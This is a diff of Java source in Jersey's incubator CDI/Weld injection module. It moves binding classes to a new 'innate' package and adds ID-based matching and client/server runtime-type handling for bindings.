+    public Matching<MatchableBinding> matching(InternalBinding other) {
+        return Matching.noneMatching();
+    }
+
+    public void init(InstanceBinding<?> service) {
+        services.add((InstanceBinding<T>) service);
+    }
+
+    public List<T> getServices() {
+        return services.stream().map(binding -> binding.getService()).collect(Collectors.toList());
+    }
+
+    public List<ServiceHolder<T>> getServiceHolders() {
+        return services.stream().map(binding ->
+                new ServiceHolderImpl<T>(binding.getService(), serviceType, binding.getContracts(),
+                        binding.getRank() == null ? 0 : binding.getRank()))
+                .collect(Collectors.toList());
+    }
+}
diff --git a/incubator/cdi-inject-weld/src/main/java/org/glassfish/jersey/inject/weld/internal/inject/MatchableBinding.java b/incubator/cdi-inject-weld/src/main/java/org/glassfish/jersey/inject/weld/internal/inject/MatchableBinding.java
index e6cd0bd..ed205df 100644
--- a/incubator/cdi-inject-weld/src/main/java/org/glassfish/jersey/inject/weld/internal/inject/MatchableBinding.java
+++ b/incubator/cdi-inject-weld/src/main/java/org/glassfish/jersey/inject/weld/internal/inject/MatchableBinding.java
@@ -1,5 +1,5 @@
 /*
- * Copyright (c) 2021 Oracle and/or its affiliates. All rights reserved.
+ * Copyright (c) 2021, 2024 Oracle and/or its affiliates. All rights reserved.
  *
  * This program and the accompanying materials are made available under the
  * terms of the Eclipse Public License v. 2.0, which is available at
@@ -16,7 +16,9 @@
 
 package org.glassfish.jersey.inject.weld.internal.inject;
 
-import org.glassfish.jersey.internal.inject.Binding;
+import org.glassfish.jersey.innate.inject.InternalBinding;
+import org.glassfish.jersey.innate.inject.InstanceBinding;
+import org.glassfish.jersey.innate.inject.SupplierInstanceBinding;
 
 import java.lang.reflect.Type;
 import java.util.Set;
@@ -27,11 +29,22 @@
  * @param <T> Type of the bean described by this injection binding.
  * @param <D> Concrete injection binding implementation type.
  */
-public abstract class MatchableBinding<T, D extends MatchableBinding> extends Binding<T, D> {
+public abstract class MatchableBinding<T, D extends MatchableBinding> extends InternalBinding<T, D> {
 
+    protected static MatchingVisitor visitor = new MatchingVisitor();
     protected abstract MatchLevel bestMatchLevel();
 
-    protected Matching<D> matches(Binding<?, ?> other) {
+    /**
+     * Visitor version of matches
+     * @param other
+     * @return
+     */
+    public abstract Matching<MatchableBinding> matching(InternalBinding other);
+
+    protected Matching<D> matches(InternalBinding<?, ?> other) {
+        if (getId() != 0) {
+            return matchesById(other);
+        }
         final Matching<D> matching = matchesContracts(other);
         if (matching.matchLevel == MatchLevel.FULL_CONTRACT) {
             if (getImplementationType().equals(other.getImplementationType())) {
@@ -41,13 +54,21 @@
         return matching;
     }
 
+    protected Matching matchesById(InternalBinding<?, ?> other) {
+        if (getId() == other.getId()) {
+            return new Matching<>((D) this, MatchLevel.FULL_CONTRACT);
+        } else {
+            return Matching.noneMatching();
+        }
+    }
+
     /**
      * Return a Matching object that represents comparison between contracts of this binding and a given binding.
      * The result contains a reference to this binding.
      * @param other
      * @return
      */
-    public Matching<D> matchesContracts(Binding<?, ?> other) {
+    public Matching<D> matchesContracts(InternalBinding<?, ?> other) {
         boolean atLeastOneMatch = false;
         boolean allMatch = true;
         final Set<Type> firstContracts = getContracts();
@@ -113,6 +134,10 @@
         public D getBinding() {
             return binding;
         }
+
+        public Matching<D> clone() {
+            return new Matching<>(binding, matchLevel);
+        }
     }
 
     /**
@@ -123,7 +148,8 @@
         PARTIAL_CONTRACT(1),
         FULL_CONTRACT(2),
         IMPLEMENTATION(3),
-        SUPPLIER(4);
+        SUPPLIER(4),
+        NEVER(5);
 
         private final int level;
 
@@ -131,5 +157,21 @@
             this.level = level;
         }
     }
+
+    protected static class MatchingVisitor<D extends MatchableBinding<?, D>> {
+        public MatchableBinding.Matching<InitializableInstanceBinding<D>> matches(
+                InitializableInstanceBinding<D> binding, InternalBinding other) {
+            return binding.matches((InstanceBinding) other);
+        }
+
+        public MatchableBinding.Matching<InitializableSupplierInstanceBinding<D>> matches(
+                InitializableSupplierInstanceBinding<D> binding, InternalBinding other) {
+            return binding.matches((SupplierInstanceBinding<D>) other);
+        }
+
+        public Matching<MatchableBinding<?, D>> matches(MatchableBinding<?, D> binding, InternalBinding other) {
+            throw new IllegalStateException("Unexpected");
+        }
+    }
 }
 
diff --git a/incubator/cdi-inject-weld/src/main/java/org/glassfish/jersey/inject/weld/internal/injector/ContextInjectionResolverImpl.java b/incubator/cdi-inject-weld/src/main/java/org/glassfish/jersey/inject/weld/internal/injector/ContextInjectionResolverImpl.java
index 4a9a3f3..559ea06 100644
--- a/incubator/cdi-inject-weld/src/main/java/org/glassfish/jersey/inject/weld/internal/injector/ContextInjectionResolverImpl.java
+++ b/incubator/cdi-inject-weld/src/main/java/org/glassfish/jersey/inject/weld/internal/injector/ContextInjectionResolverImpl.java
@@ -1,5 +1,5 @@
 /*
- * Copyright (c) 2021 Oracle and/or its affiliates. All rights reserved.
+ * Copyright (c) 2021, 2024 Oracle and/or its affiliates. All rights reserved.
  *
  * This program and the accompanying materials are made available under the
  * terms of the Eclipse Public License v. 2.0, which is available at
@@ -26,8 +26,8 @@
 import jakarta.ws.rs.core.Context;
 import jakarta.ws.rs.core.GenericType;
 
-import org.glassfish.jersey.internal.inject.AbstractBinder;
-import org.glassfish.jersey.internal.inject.Bindings;
+import org.glassfish.jersey.innate.inject.InternalBinder;
+import org.glassfish.jersey.innate.inject.Bindings;
 import org.glassfish.jersey.internal.inject.ContextInjectionResolver;
 import org.glassfish.jersey.internal.inject.Injectee;
 import org.glassfish.jersey.internal.inject.InjecteeImpl;
@@ -101,7 +101,7 @@
     /**
      * Context injection resolver binder.
      */
-    public static final class Binder extends AbstractBinder {
+    public static final class Binder extends InternalBinder {
 
         private Supplier<BeanManager> beanManager;
 
diff --git a/incubator/cdi-inject-weld/src/main/java/org/glassfish/jersey/inject/weld/internal/injector/JerseyInjectionTarget.java b/incubator/cdi-inject-weld/src/main/java/org/glassfish/jersey/inject/weld/internal/injector/JerseyInjectionTarget.java
index b64513b..be93ad6 100644
--- a/incubator/cdi-inject-weld/src/main/java/org/glassfish/jersey/inject/weld/internal/injector/JerseyInjectionTarget.java
+++ b/incubator/cdi-inject-weld/src/main/java/org/glassfish/jersey/inject/weld/internal/injector/JerseyInjectionTarget.java
@@ -1,5 +1,5 @@
 /*
- * Copyright (c) 2021 Oracle and/or its affiliates. All rights reserved.
+ * Copyright (c) 2021, 2024 Oracle and/or its affiliates. All rights reserved.
  *
  * This program and the accompanying materials are made available under the
  * terms of the Eclipse Public License v. 2.0, which is available at
@@ -32,6 +32,9 @@
 
 import org.glassfish.jersey.inject.weld.internal.bean.BeanHelper;
 import org.glassfish.jersey.inject.weld.internal.bean.JerseyBean;
+import org.glassfish.jersey.inject.weld.managed.CdiInjectionManagerFactory;
+import org.glassfish.jersey.internal.inject.InjectionManager;
+import org.glassfish.jersey.internal.inject.InjectionManagerFactory;
 import org.glassfish.jersey.internal.inject.InjectionResolver;
 import org.glassfish.jersey.internal.util.collection.LazyValue;
 import org.glassfish.jersey.internal.util.collection.Value;
@@ -62,7 +65,7 @@
  * instances. {@code Delegate} is a original {@code InjectionTarget} which is able to inject other fields/parameters which
  * are managed by CDI.
  * <p>
- * Implementation is also able create with custom {@code jerseyConstructor} if it is provided. This functionality allows override
+ * Implementation is also able to create with custom {@code jerseyConstructor} if it is provided. This functionality allows override
  * default instantiator and use the Jersey-specific one.
  */
 public class JerseyInjectionTarget<T> extends BasicInjectionTarget<T> {
@@ -303,6 +306,10 @@
                 ctx.push(instance);
             }
         }
+        if (CdiInjectionManagerFactory.SUPPORT_CONTEXT) {
+            InjectionManager injectionManager = CdiInjectionManagerFactory.getInjectionManager(ctx);
+            injectionManager.inject(instance, "CONTEXT");
+        }
         return instance;
     }
 
diff --git a/incubator/cdi-inject-weld/src/main/java/org/glassfish/jersey/inject/weld/internal/injector/JerseyTwofoldInstantiator.java b/incubator/cdi-inject-weld/src/main/java/org/glassfish/jersey/inject/weld/internal/injector/JerseyTwofoldInstantiator.java
index 01e96c0..ee09f29 100644
--- a/incubator/cdi-inject-weld/src/main/java/org/glassfish/jersey/inject/weld/internal/injector/JerseyTwofoldInstantiator.java
+++ b/incubator/cdi-inject-weld/src/main/java/org/glassfish/jersey/inject/weld/internal/injector/JerseyTwofoldInstantiator.java
@@ -1,5 +1,5 @@
 /*
- * Copyright (c) 2021 Oracle and/or its affiliates. All rights reserved.
+ * Copyright (c) 2021, 2024 Oracle and/or its affiliates. All rights reserved.
  *
  * This program and the accompanying materials are made available under the
  * terms of the Eclipse Public License v. 2.0, which is available at
@@ -17,6 +17,7 @@
 package org.glassfish.jersey.inject.weld.internal.injector;
 
 import jakarta.enterprise.context.spi.CreationalContext;
+
 import org.jboss.weld.injection.ConstructorInjectionPoint;
 import org.jboss.weld.injection.producer.AbstractInstantiator;
 import org.jboss.weld.manager.BeanManagerImpl;
@@ -59,10 +60,10 @@
     @Override
     public T newInstance(CreationalContext<T> ctx, BeanManagerImpl manager) {
         final ConstructorInjectionPoint<T> cip =
-                optionalConstructorInjectionPoint == null || !JerseyClientCreationalContext.class.isInstance(ctx)
+                !hasOptionalConstructorInjectionPoint() || !JerseyClientCreationalContext.class.isInstance(ctx)
                 ? primaryInstantiator.getConstructorInjectionPoint()
                 : optionalConstructorInjectionPoint;
-        return cip.newInstance(manager, ctx);
+            return cip.newInstance(manager, ctx);
     }
 
     /**
@@ -72,4 +73,8 @@
     public void setOptionalConstructorInjectionPoint(ConstructorInjectionPoint<T> optionalConstructorInjectionPoint) {
         this.optionalConstructorInjectionPoint = optionalConstructorInjectionPoint;
     }
+
+    public boolean hasOptionalConstructorInjectionPoint() {
+        return optionalConstructorInjectionPoint != null;
+    }
 }
diff --git a/incubator/cdi-inject-weld/src/main/java/org/glassfish/jersey/inject/weld/internal/managed/BinderRegisterExtension.java b/incubator/cdi-inject-weld/src/main/java/org/glassfish/jersey/inject/weld/internal/managed/BinderRegisterExtension.java
index 8917bb0..a8692e4 100644
--- a/incubator/cdi-inject-weld/src/main/java/org/glassfish/jersey/inject/weld/internal/managed/BinderRegisterExtension.java
+++ b/incubator/cdi-inject-weld/src/main/java/org/glassfish/jersey/inject/weld/internal/managed/BinderRegisterExtension.java
@@ -20,6 +20,7 @@
 import java.lang.reflect.Constructor;
 import java.lang.reflect.InvocationTargetException;
 import java.lang.reflect.Type;
+import java.util.ArrayList;
 import java.util.Collection;
 import java.util.Collections;
 import java.util.HashMap;
@@ -29,6 +30,7 @@
 import java.util.List;
 import java.util.Map;
 import java.util.Set;
+import java.util.TreeMap;
 import java.util.concurrent.atomic.AtomicBoolean;
 import java.util.function.Supplier;
 import java.util.stream.Collectors;
@@ -70,24 +72,25 @@
 import org.glassfish.jersey.inject.weld.internal.injector.ContextInjectionResolverImpl;
 import org.glassfish.jersey.inject.weld.internal.injector.JerseyInjectionTarget;
 import org.glassfish.jersey.inject.weld.internal.scope.CdiRequestScope;
-import org.glassfish.jersey.inject.weld.spi.BootstrapPreinitialization;
-import org.glassfish.jersey.internal.BootstrapBag;
-import org.glassfish.jersey.internal.ServiceFinder;
-import org.glassfish.jersey.internal.inject.AbstractBinder;
+import org.glassfish.jersey.innate.BootstrapPreinitialization;
+import org.glassfish.jersey.innate.inject.InternalBinder;
+import org.glassfish.jersey.innate.inject.InternalBinding;
+import org.glassfish.jersey.innate.inject.Bindings;
+import org.glassfish.jersey.innate.inject.ClassBinding;
+import org.glassfish.jersey.innate.inject.InjectionResolverBinding;
+import org.glassfish.jersey.innate.inject.InstanceBinding;
+import org.glassfish.jersey.innate.inject.SupplierClassBinding;
+import org.glassfish.jersey.innate.inject.SupplierInstanceBinding;
 import org.glassfish.jersey.internal.inject.Binder;
 import org.glassfish.jersey.internal.inject.Binding;
-import org.glassfish.jersey.internal.inject.Bindings;
-import org.glassfish.jersey.internal.inject.ClassBinding;
 import org.glassfish.jersey.internal.inject.CustomAnnotationLiteral;
 import org.glassfish.jersey.internal.inject.ForeignDescriptor;
 import org.glassfish.jersey.internal.inject.InjectionManager;
 import org.glassfish.jersey.internal.inject.InjectionResolver;
-import org.glassfish.jersey.internal.inject.InjectionResolverBinding;
-import org.glassfish.jersey.internal.inject.InstanceBinding;
 import org.glassfish.jersey.internal.inject.Providers;
 import org.glassfish.jersey.internal.inject.ServiceHolder;
-import org.glassfish.jersey.internal.inject.SupplierClassBinding;
-import org.glassfish.jersey.internal.inject.SupplierInstanceBinding;
+import org.glassfish.jersey.internal.BootstrapBag;
+import org.glassfish.jersey.internal.ServiceFinder;
 
 import org.glassfish.jersey.internal.util.collection.Ref;
 import org.glassfish.jersey.internal.util.collection.Refs;
@@ -104,24 +107,35 @@
  */
 class BinderRegisterExtension implements Extension {
 
-    private AtomicBoolean registrationDone = new AtomicBoolean(false);
+    private final AtomicBoolean registrationDone = new AtomicBoolean(false);
     private Supplier<BeanManager> beanManagerSupplier;
-    private Ref<InjectionManager> serverInjectionManager = Refs.emptyRef();
+    private final Ref<InjectionManager> serverInjectionManager = Refs.emptyRef();
 
-    private BootstrapInjectionManager clientBootstrapInjectionManager = new BootstrapInjectionManager(RuntimeType.CLIENT);
-    private WrappingInjectionManager serverBootstrapInjectionManager = new WrappingInjectionManager()
+    private final BootstrapInjectionManager clientBootstrapInjectionManager = new BootstrapInjectionManager(RuntimeType.CLIENT);
+    private final WrappingInjectionManager serverBootstrapInjectionManager = new WrappingInjectionManager()
             .setInjectionManager(new BootstrapInjectionManager(RuntimeType.SERVER));
-    private BootstrapBag bootstrapBag = new BootstrapBag();
+    private final BootstrapBag bootstrapBag = new BootstrapBag();
 
-    private final CachingBinder clientBindings = new CachingBinder(serverInjectionManager);
-    private final CachingBinder serverBindings = new CachingBinder(serverInjectionManager) {
+    private final List<InitializableInstanceBinding> skippedClientInstanceBindings = new ArrayList<>();
+    private final List<InitializableSupplierInstanceBinding> skippedClientSupplierInstanceBindings = new ArrayList<>();
+
+    private final CachingBinder clientBindings = new CachingBinder(serverInjectionManager, RuntimeType.CLIENT) {
+//        @Override
+//        protected void configure() {
+//            bind(InitializableInstanceBinding.from(
+//            Bindings.service(clientBootstrapInjectionManager).to(InjectionManager.class)));
+//        }
+    };
+    private final CachingBinder serverBindings = new CachingBinder(serverInjectionManager, RuntimeType.SERVER) {
         @Override
         protected void configure() {
             install(new ContextInjectionResolverImpl.Binder(beanManagerSupplier));
-            bind(InitializableInstanceBinding.from(Bindings.service(serverInjectionManager.get()).to(InjectionManager.class)));
+            bind(InitializableInstanceBinding.from(
+                    Bindings.service(serverInjectionManager.get()).to(InjectionManager.class),
+                    RuntimeType.SERVER));
         }
     };
-    private final CachingBinder annotatedBeansBinder = new CachingBinder(serverInjectionManager);
+    private final CachingBinder annotatedBeansBinder = new CachingBinder(serverInjectionManager, null);
     private final MergedBindings mergedBindings = new MergedBindings(serverBindings, clientBindings);
 
     private final List<InitializableInstanceBinding> initializableInstanceBindings = new LinkedList<>();
@@ -274,15 +288,15 @@
      *
      * @param abd         {@code AfterBeanDiscovery} event.
      * @param beanManager current {@code BeanManager}.
-     * @link ProcessAnnotatedType} bootstrap phase.
+     * @see ProcessAnnotatedType bootstrap phase.
      */
     void registerBeans(@Observes AfterBeanDiscovery abd, BeanManager beanManager) {
-        serverInjectionManager.set(new CdiInjectionManager(beanManager, mergedBindings));
+        serverInjectionManager.set(new CdiInjectionManager(beanManager, mergedBindings, RuntimeType.SERVER));
 
         beanManagerSupplier = () -> beanManager; // set bean manager supplier to be called by bindings#configure
         CdiInjectionManagerFactoryBase.setBeanManager(beanManager);
 
-        registerApplicationHandler(beanManager);
+//        registerApplicationHandler(beanManager);
 
         registrationDone.set(true); //
 
@@ -313,19 +327,35 @@
 
     private void registerBeans(RuntimeType runtimeType, CachingBinder binder, AfterBeanDiscovery abd,
                                BeanManager beanManager) {
-        final Collection<Binding> bindings = binder.getBindings();
+        final Collection<InternalBinding> bindings = (Collection<InternalBinding>) (Collection) binder.getBindings();
         binder.setReadOnly();
 
+        //check unique id;
+        TreeMap<Long, InternalBinding> treeMap = new TreeMap<>();
+        for (InternalBinding binding : bindings) {
+            if (binding.getId() != 0 && !binding.isForClient()) {
+                if (treeMap.containsKey(binding.getId())) {
+                    throw new IllegalStateException("Id " + binding.getId() + " already exists:" + treeMap.get(binding.getId()));
+                }
+                treeMap.put(binding.getId(), binding);
+            }
+        }
+
         allBindingsLabel:
-        for (Binding binding : bindings) {
+        for (InternalBinding binding : bindings) {
             if (ClassBinding.class.isAssignableFrom(binding.getClass())) {
                 if (RuntimeType.CLIENT == runtimeType) {
                     for (Type contract : ((ClassBinding<?>) binding).getContracts()) {
-                        final List<BindingBeanPair> preregistered = classBindings.get(contract);
-                        if (preregistered != null && preregistered.size() == 1) {
-                            BeanHelper.updateBean(
-                                    (ClassBinding<?>) binding, preregistered.get(0), injectionResolvers, beanManager);
-                            continue allBindingsLabel;
+                        List<BindingBeanPair> preregistered = classBindings.get(contract);
+                        if (preregistered != null) {
+                            preregistered = preregistered.stream()
+                                    .filter(pair -> pair.getBeans().get(0).getRutimeType() == RuntimeType.SERVER)
+                                    .collect(Collectors.toList());
+                            if (preregistered.size() == 1 || binding.isForClient()) {
+                                BeanHelper.updateBean(
+                                        (ClassBinding<?>) binding, preregistered.get(0), injectionResolvers, beanManager);
+                                continue allBindingsLabel;
+                            }
                         }
                     }
                 }
@@ -337,11 +367,16 @@
             } else if (SupplierClassBinding.class.isAssignableFrom(binding.getClass())) {
                 if (RuntimeType.CLIENT == runtimeType) {
                     for (Type contract : ((SupplierClassBinding<?>) binding).getContracts()) {
-                        final List<BindingBeanPair> preregistered = supplierClassBindings.get(contract);
-                        if (preregistered != null && preregistered.size() == 1) {
-                            BeanHelper.updateSupplierBean(
-                                    (SupplierClassBinding<?>) binding, preregistered.get(0), injectionResolvers, beanManager);
-                            continue allBindingsLabel;
+                        List<BindingBeanPair> preregistered = supplierClassBindings.get(contract);
+                        if (preregistered != null) {
+                            preregistered = preregistered.stream()
+                                    .filter(pair -> pair.getBeans().get(0).getRutimeType() == RuntimeType.SERVER)
+                                    .collect(Collectors.toList());
+                            if (preregistered.size() == 1 || binding.isForClient()) {
+                                BeanHelper.updateSupplierBean(
+                                        (SupplierClassBinding<?>) binding, preregistered.get(0), injectionResolvers, beanManager);
+                                continue allBindingsLabel;
+                            }
                         }
                     }
                 }
@@ -353,17 +388,29 @@
                     }
                 }
             } else if (InitializableInstanceBinding.class.isAssignableFrom(binding.getClass())) {
-                if (RuntimeType.SERVER == runtimeType
+/*
+ * We do want to register beans such as Configuration just once. There are two of them, one for client and for a server.
+ * But having two of them would fail Weld Validation -> Weld would not know which one to @Inject
+ * The solution is to have JerseyTwoFoldInstantiator that creates a client bean for a client and a server bean for the server.
+ *
+ * But also we do not want to skip registering beans on client that are not in server
+ * or there are multiple of them of the same contract.
+ */
+                if (RuntimeType.SERVER == runtimeType || !binding.isForClient()
                         || !matchInitializableInstanceBinding((InitializableInstanceBinding<?>) binding)) {
                     initializableInstanceBindings.add((InitializableInstanceBinding<?>) binding);
                     BeanHelper.registerBean(
                             runtimeType, (InitializableInstanceBinding<?>) binding, abd, injectionResolvers, beanManager);
+                } else {
+                    skippedClientInstanceBindings.add((InitializableInstanceBinding) binding);
                 }
             } else if (InitializableSupplierInstanceBinding.class.isInstance(binding)) {
-                if (RuntimeType.SERVER == runtimeType
+                if (RuntimeType.SERVER == runtimeType || !binding.isForClient()
                         || !matchInitializableSupplierInstanceBinding((InitializableSupplierInstanceBinding) binding)) {
                     initializableSupplierInstanceBindings.add((InitializableSupplierInstanceBinding) binding);
                     BeanHelper.registerSupplier(runtimeType, (InitializableSupplierInstanceBinding<?>) binding, abd, beanManager);
+                } else {
+                    skippedClientSupplierInstanceBindings.add((InitializableSupplierInstanceBinding) binding);
                 }
             }
         }
@@ -459,12 +506,12 @@
 //        }
 //    }
 
-    private static <T> ClassBinding<T> bind(Class<T> clazz, AbstractBinder binder) {
+    private static <T> ClassBinding<T> bind(Class<T> clazz, InternalBinder binder) {
         final ClassBinding<T> binding = binder.bindAsContract(clazz);
         return toSuper(clazz, binding);
     }
 
-    private static <T extends Binding> T toSuper(Class<?> clazz, T binding) {
+    private static <T extends InternalBinding> T toSuper(Class<?> clazz, T binding) {
         Class<?> superClass = clazz;
         while (superClass != null) {
             superClass = superClass.getSuperclass();
@@ -478,15 +525,6 @@
         return binding;
     }
 
-//    // Check first if a class is a JAX-RS resource, and only if so check with validation.
-//    // This prevents unnecessary warnings being logged for pure CDI beans.
-//    private final Cache<Class<?>, Boolean> jaxRsResourceCache = new Cache<>(
-//            clazz -> Resource.from(clazz, true) != null && Resource.from(clazz) != null);
-//
-//    public boolean isJaxRsResource(Class<?> resource) {
-//        return jaxRsResourceCache.apply(resource);
-//    }
-
     private boolean isJaxrs(Class<?> clazz) {
         return Providers.isJaxRsProvider(clazz) || BeanHelper.isResourceClass(clazz) || isJerseyRegistrable(clazz);
     }
@@ -527,21 +565,21 @@
 
 
     /** To be used by the tests only */
-    public void register(BeforeBeanDiscovery beforeBeanDiscovery, Binding binding) {
+    void register(BeforeBeanDiscovery beforeBeanDiscovery, Binding binding) {
         register(RuntimeType.SERVER, binding);
     }
 
     /** To be used by the tests only */
-    public void register(BeforeBeanDiscovery beforeBeanDiscovery, Iterable<Binding> bindings) {
+    void register(BeforeBeanDiscovery beforeBeanDiscovery, Iterable<Binding> bindings) {
         register(RuntimeType.SERVER, bindings);
     }
 
     private void register(RuntimeType runtimeType, Binding binding) {
-        final AbstractBinder bindings = runtimeType == RuntimeType.CLIENT ? clientBindings : serverBindings;
+        final InternalBinder bindings = runtimeType == RuntimeType.CLIENT ? clientBindings : serverBindings;
         if (InstanceBinding.class.isInstance(binding)) {
-            bindings.bind(InitializableInstanceBinding.from((InstanceBinding) binding));
+            bindings.bind(InitializableInstanceBinding.from((InstanceBinding) binding, runtimeType));
         } else if (SupplierInstanceBinding.class.isInstance(binding)) {
-            bindings.bind(InitializableSupplierInstanceBinding.from((SupplierInstanceBinding) binding));
+            bindings.bind(InitializableSupplierInstanceBinding.from((SupplierInstanceBinding) binding, runtimeType));
         } else {
             bindings.bind(binding);
         }
@@ -558,12 +596,13 @@
         for (BootstrapPreinitialization registrar : ServiceFinder.find(BootstrapPreinitialization.class)) {
             registrars.add(registrar);
         }
-        for (BootstrapPreinitialization registrar : registrars) {
-            registrar.register(RuntimeType.SERVER, serverBindings);
+
+        for (BootstrapPreinitialization registrar : ServiceFinder.find(BootstrapPreinitialization.class)) {
+            registrar.preregister(RuntimeType.SERVER, serverBootstrapInjectionManager);
         }
 
-        for (BootstrapPreinitialization registrar : registrars) {
-            registrar.register(RuntimeType.CLIENT, clientBindings);
+        for (BootstrapPreinitialization registrar : ServiceFinder.find(BootstrapPreinitialization.class)) {
+            registrar.preregister(RuntimeType.CLIENT, clientBootstrapInjectionManager);
         }
     }
 
@@ -633,9 +672,6 @@
 
         @Override
         public <T> T createAndInitialize(Class<T> createMe) {
-            if (RequestScope.class == createMe) {
-                return (T) new CdiRequestScope();
-            }
             if (isNotJerseyInternal(createMe)) {
                 return null;
             }
@@ -669,7 +705,10 @@
 
         @Override
         public <T> T getInstance(Class<T> contractOrImpl) {
-            return createAndInitialize(contractOrImpl);
+            if (RequestScope.class == contractOrImpl) {
+                return (T) new CdiRequestScope();
+            }
+            return null; //createAndInitialize(contractOrImpl);
         }
 
         @Override
@@ -707,6 +746,11 @@
         public void preDestroy(Object preDestroyMe) {
             //noop
         }
+
+        @Override
+        public RuntimeType getRuntimeType() {
+            return runtimeType;
+        }
     }
 
     /**
@@ -714,13 +758,15 @@
      * Each additional binding is added to the cache by the next call of {@link #getBindings()}.
      * When {@link #setReadOnly()} is called, no additional binding is added to the cache.
      */
-    private class CachingBinder extends AbstractBinder {
+    private class CachingBinder extends InternalBinder {
         private final Ref<InjectionManager> injectionManager;
-        private AbstractBinder temporaryBinder = new TemporaryBinder();
+        private InternalBinder temporaryBinder = new TemporaryBinder();
         private final Collection<Binding> bindings = new LinkedList<>();
+        private final RuntimeType runtimeType;
 
-        private CachingBinder(Ref<InjectionManager> injectionManager) {
+        private CachingBinder(Ref<InjectionManager> injectionManager, RuntimeType runtimeType) {
             this.injectionManager = injectionManager;
+            this.runtimeType = runtimeType;
         }
 
         @Override
@@ -788,9 +834,9 @@
                 final Collection<Binding> newBindings = temporaryBinder.getBindings();
                 for (Binding binding : newBindings) {
                     if (InstanceBinding.class.isAssignableFrom(binding.getClass())) {
-                        binding = InitializableInstanceBinding.from((InstanceBinding) binding);
+                        binding = InitializableInstanceBinding.from((InstanceBinding) binding, runtimeType);
                     } else if (SupplierInstanceBinding.class.isAssignableFrom(binding.getClass())) {
-                        binding = InitializableSupplierInstanceBinding.from((SupplierInstanceBinding) binding);
+                        binding = InitializableSupplierInstanceBinding.from((SupplierInstanceBinding) binding, runtimeType);
                     }
                     bindings.add(binding);
                 }
@@ -805,7 +851,7 @@
             readOnly = true;
         }
 
-        private class TemporaryBinder extends AbstractBinder {
+        private class TemporaryBinder extends InternalBinder {
 
             @Override
             protected void configure() {
@@ -814,16 +860,55 @@
         }
     }
 
-    private static class MergedBindings implements Binder {
-        private final AbstractBinder first;
-        private final AbstractBinder second;
+    /* package */ static class MergedBindings implements Binder {
+        private final InternalBinder first;
+        private final InternalBinder second;
+        private final Collection<ClassBinding> classBindings = new ArrayList<>();
+        private final Collection<InitializableInstanceBinding> instanceBindings = new ArrayList<>();
+        private final Collection<SupplierClassBinding> supplierClassBindings = new ArrayList<>();
+        private final Collection<InitializableSupplierInstanceBinding> supplierInstanceBindings = new ArrayList<>();
 
-
-        private MergedBindings(AbstractBinder first, AbstractBinder second) {
+        private MergedBindings(InternalBinder first, InternalBinder second) {
             this.first = first;
             this.second = second;
         }
 
+//        private void initBindings(Collection<Binding> bindings) {
+//            for (Binding binding : bindings) {
+//                if (InstanceBinding.class.isInstance(binding)) {
+//                    instanceBindings.add((InitializableInstanceBinding) binding);
+//                } else if (ClassBinding.class.isInstance(binding)) {
+//                    classBindings.add((ClassBinding) binding);
+//                } else if (SupplierInstanceBinding.class.isInstance(binding)) {
+//                    supplierInstanceBindings.add((InitializableSupplierInstanceBinding) binding);
+//                } else if (SupplierClassBinding.class.isInstance(binding)) {
+//                    supplierClassBindings.add((SupplierClassBinding) binding);
+//                }
+//            }
+//        }
+//
+//        public <T extends Binding<T,?>> Collection<T> getBindings(Class<T> clazz) {
+//            if (InstanceBinding.class.equals(clazz)) {
+//                return (Collection<T>) (Collection<? extends Binding>) instanceBindings;
+//            } else if (ClassBinding.class.equals(clazz)) {
+//                return (Collection<T>) (Collection<? extends Binding>) classBindings;
+//            } else if (SupplierInstanceBinding.class.isInstance(clazz)) {
+//                return (Collection<T>) (Collection<? extends Binding>) supplierInstanceBindings;
+//            } else if (SupplierClassBinding.class.equals(clazz)) {
+//                return (Collection<T>) (Collection<? extends Binding>) supplierClassBindings;
+//            }
+//            return Collections.emptyList();
+//        }
+
+        public Collection<? extends Binding> getServerBindings() {
+            return first.getBindings();
+        }
+
+        public Collection<? extends Binding> getClientBindings() {
+            return second.getBindings();
+        }
+
+        @Override
         public Collection<Binding> getBindings() {
             final Collection<Binding> firstBindings = first.getBindings();
             final Collection<Binding> secondBindings = second.getBindings();
diff --git a/incubator/cdi-inject-weld/src/main/java/org/glassfish/jersey/inject/weld/internal/managed/CdiClientInjectionManager.java b/incubator/cdi-inject-weld/src/main/java/org/glassfish/jersey/inject/weld/internal/managed/CdiClientInjectionManager.java
index a1c500f..d8a1b11 100644
--- a/incubator/cdi-inject-weld/src/main/java/org/glassfish/jersey/inject/weld/internal/managed/CdiClientInjectionManager.java
+++ b/incubator/cdi-inject-weld/src/main/java/org/glassfish/jersey/inject/weld/internal/managed/CdiClientInjectionManager.java
@@ -1,5 +1,5 @@
 /*
- * Copyright (c) 2021 Oracle and/or its affiliates. All rights reserved.
+ * Copyright (c) 2021, 2024 Oracle and/or its affiliates. All rights reserved.
  *
  * This program and the accompanying materials are made available under the
  * terms of the Eclipse Public License v. 2.0, which is available at
@@ -19,71 +19,89 @@
 import jakarta.enterprise.context.spi.CreationalContext;
 import jakarta.enterprise.inject.spi.Bean;
 import jakarta.enterprise.inject.spi.BeanManager;
+import jakarta.enterprise.inject.spi.InjectionTarget;
 import jakarta.ws.rs.RuntimeType;
 
+import org.glassfish.jersey.inject.weld.internal.bean.ClassBean;
 import org.glassfish.jersey.inject.weld.internal.bean.JerseyBean;
+import org.glassfish.jersey.inject.weld.internal.bean.SupplierClassBean;
+import org.glassfish.jersey.inject.weld.internal.inject.InitializableBinding;
 import org.glassfish.jersey.inject.weld.internal.inject.InitializableInstanceBinding;
 import org.glassfish.jersey.inject.weld.internal.inject.InitializableSupplierInstanceBinding;
 import org.glassfish.jersey.inject.weld.internal.inject.MatchableBinding;
 import org.glassfish.jersey.inject.weld.internal.injector.JerseyClientCreationalContext;
-import org.glassfish.jersey.internal.inject.Binder;
+import org.glassfish.jersey.inject.weld.internal.injector.JerseyInjectionTarget;
+import org.glassfish.jersey.innate.inject.InternalBinding;
+import org.glassfish.jersey.innate.inject.Bindings;
+import org.glassfish.jersey.innate.inject.ClassBinding;
+import org.glassfish.jersey.innate.inject.InstanceBinding;
+import org.glassfish.jersey.innate.inject.SupplierClassBinding;
+import org.glassfish.jersey.innate.inject.SupplierInstanceBinding;
 import org.glassfish.jersey.internal.inject.Binding;
-import org.glassfish.jersey.internal.inject.Bindings;
 import org.glassfish.jersey.internal.inject.InjectionManager;
-import org.glassfish.jersey.internal.inject.InstanceBinding;
-import org.glassfish.jersey.internal.inject.SupplierClassBinding;
-import org.glassfish.jersey.internal.inject.SupplierInstanceBinding;
 import org.jboss.weld.contexts.CreationalContextImpl;
 
